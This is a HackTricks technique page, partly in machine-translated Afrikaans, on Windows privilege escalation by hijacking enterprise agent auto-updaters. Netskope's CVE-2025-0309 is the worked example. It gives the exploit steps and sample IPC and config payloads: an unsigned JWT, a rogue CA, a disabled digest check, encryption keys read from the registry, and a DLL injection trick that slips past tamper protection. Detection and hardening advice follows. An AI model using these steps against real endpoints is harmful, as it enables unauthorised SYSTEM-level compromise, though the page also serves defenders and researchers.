Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope stAgentSvc)
Reading time: 7 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
This page generalizes a class of Windows local privilege escalation chains found in enterprise endpoint agents and updaters that expose a lowâfriction IPC surface and a privileged update flow. A representative example is Netskope Client for Windows < R129 (CVE-2025-0309), where a lowâprivileged user can coerce enrollment into an attackerâcontrolled server and then deliver a malicious MSI that the SYSTEM service installs.
Key ideas you can reuse against similar products:
- Misbruik ân bevoorregte diens se localhost IPC om herinskrywing of herkonfigurasie na ân aanvallerserwer af te dwing.
- Implementeer die verskaffer se update-endpoints, lewer ân kwaadwillige Trusted Root CA, en verwys die updater na ân kwaadwillige, âsignedâ pakket.
- Ontduik swak signerâkontroles (CN allowâlists), opsionele digestâvlagte, en slordige MSIâeienskappe.
- As IPC âencryptedâ is, lei die key/IV af vanaf algemeen leesbare masjienidentifikasies wat in die registry gestoor word.
- As die diens bellers beperk op grond van image path/process name, injekteer in ân allowâlisted proses of spawn een suspended en bootstrap jou DLL via ân minimale threadâcontext patch.
1) Forcing enrollment to an attacker server via localhost IPC
Many agents ship a userâmode UI process that talks to a SYSTEM service over localhost TCP using JSON.
Observed in Netskope:
- UI: stAgentUI (low integrity) â Service: stAgentSvc (SYSTEM)
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
Exploit flow:
- Craft a JWT enrollment token whose claims control the backend host (e.g., AddonUrl). Use alg=None so no signature is required.
- Send the IPC message invoking the provisioning command with your JWT and tenant name:
{
"148": {
"idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>",
"tenantName": "TestOrg"
}
}
- Die diens begin jou kwaadwillige bediener vir enrollment/config te tref, byvoorbeeld:
- /v1/externalhost?service=enrollment
- /config/user/getbrandingbyemail
Aantekeninge:
- Indien caller-verifikasie pad/naam-gebaseer is, laat die versoek afkomstig wees van 'n op die witlys geplaatste vendor binary (sien §4).
2) Oorname van die update-kanaal om kode as SYSTEM uit te voer
Sodra die kliënt met jou bediener praat, implementeer die verwagte endpoints en stuur dit na 'n aanvaller-MSI. Tipiese volgorde:
- /v2/config/org/clientconfig â Gee 'n JSON-config terug met 'n baie kort opdateringsinterval, bv.:
{
"clientUpdate": { "updateIntervalInMin": 1 },
"check_msi_digest": false
}
- /config/ca/cert â Return a PEM CA certificate. The service installs it into the Local Machine Trusted Root store.
- /v2/checkupdate â Supply metadata pointing to a malicious MSI and a fake version.
Bypassing common checks seen in the wild:
- Signer CN allowâlist: die diens mag slegs kyk of die Subject CN gelyk is aan ânetSkope Incâ of âNetskope, Inc.â. Jou slegte CA kan ân leaf uitreik met daardie CN en die MSI teken.
- CERT_DIGEST property: sluit ân onskadelike MSIâeienskap genaamd CERT_DIGEST in. Geen afdwinging tydens installasie nie.
- Optional digest enforcement: configâvlag (bv. check_msi_digest=false) deaktiveer ekstra kriptografiese verifikasie.
Result: the SYSTEM service installs your MSI from C:\ProgramData\Netskope\stAgent\data*.msi executing arbitrary code as NT AUTHORITY\SYSTEM.
3) Forging encrypted IPC requests (when present)
From R127, Netskope wrapped IPC JSON in an encryptData field that looks like Base64. Reversing showed AES with key/IV derived from registry values readable by any user:
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
Aanvallers kan die enkripsie reproduceer en geldige enkripteerde opdragte stuur vanaf ân standaard gebruiker. Algemene wenk: as ân agent skielik sy IPC âenkripteerâ, kyk vir device IDs, product GUIDs, install IDs onder HKLM as materiaal.
4) Bypassing IPC caller allowâlists (path/name checks)
Sommige dienste probeer die peer verifieer deur die TCPâverbinding se PID op te los en die image path/name te vergelyk met allowâlisted vendor binaries onder Program Files (bv. stagentui.exe, bwansvc.exe, epdlp.exe).
Twee praktiese omseilings:
- DLL injection in ân allowâlisted proses (bv. nsdiag.exe) en proxy IPC van binne daardie proses.
- Spawn ân allowâlisted binary in suspended state en bootstrap jou proxy DLL sonder CreateRemoteThread (sien §5) om driverâafgedwonge tamperâreĂ«ls te bevredig.
5) Tamperâprotection friendly injection: suspended process + NtContinue patch
Produkte verskaf dikwels ân minifilter/OB callbacks driver (bv. Stadrv) om gevaarlike regte van handles na beskermde prosesse te verwyder:
- Process: verwyder PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
- Thread: beperk tot THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
ân Betroubare userâmode loader wat aan hierdie beperkings voldoen:
- CreateProcess van ân vendor binary met CREATE_SUSPENDED.
- Verkry handle waarvoor jy nog toegelaat is: PROCESS_VM_WRITE | PROCESS_VM_OPERATION op die proses, en ân thread handle met THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (of net THREAD_RESUME as jy kode by ân bekende RIP patch).
- Oorskryf ntdll!NtContinue (of ander vroeĂ«, gewaarborgdeâgemap thunk) met ân klein stub wat LoadLibraryW op jou DLLâpad aanroep, en dan terug spring.
- ResumeThread om jou stub inâprocess te trigger en jou DLL te laai.
Omdat jy nooit PROCESS_CREATE_THREAD of PROCESS_SUSPEND_RESUME op ân reedsâbeskermde proses gebruik het nie (jy het dit geskep), word die driver se beleid bevredig.
6) Practical tooling
- NachoVPN (Netskope plugin) outomatiseer ân rogue CA, kwaadwillige MSIâhandtekening, en bedien die nodige endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
- UpSkope is ân custom IPC client wat arbitrĂȘre (opsioneel AESâenkripteerde) IPCâboodskappe saamstel en die suspendedâprocess injection insluit sodat dit van ân allowâlisted binary afkomstig lyk.
7) Detection opportunities (blue team)
- Monitor additions to Local Machine Trusted Root. Sysmon + registryâmod eventing (see SpecterOps guidance) works well.
- Flag MSI executions initiated by the agentâs service from paths like C:\ProgramData<vendor><agent>\data*.msi.
- Review agent logs for unexpected enrollment hosts/tenants, e.g.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log â look for addonUrl / tenant anomalies and provisioning msg 148.
- Alert on localhost IPC clients that are not the expected signed binaries, or that originate from unusual child process trees.
Hardening tips for vendors
- Bind enrollment/update hosts to a strict allowâlist; reject untrusted domains in clientcode.
- Authenticate IPC peers with OS primitives (ALPC security, namedâpipe SIDs) instead of image path/name checks.
- Keep secret material out of worldâreadable HKLM; if IPC must be encrypted, derive keys from protected secrets or negotiate over authenticated channels.
- Treat the updater as a supplyâchain surface: require a full chain to a trusted CA you control, verify package signatures against pinned keys, and fail closed if validation is disabled in config.
References
- Advisory â Netskope Client for Windows â Local Privilege Escalation via Rogue Server (CVE-2025-0309)
- NachoVPN â Netskope plugin
- UpSkope â Netskope IPC client/exploit
- NVD â CVE-2025-0309
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.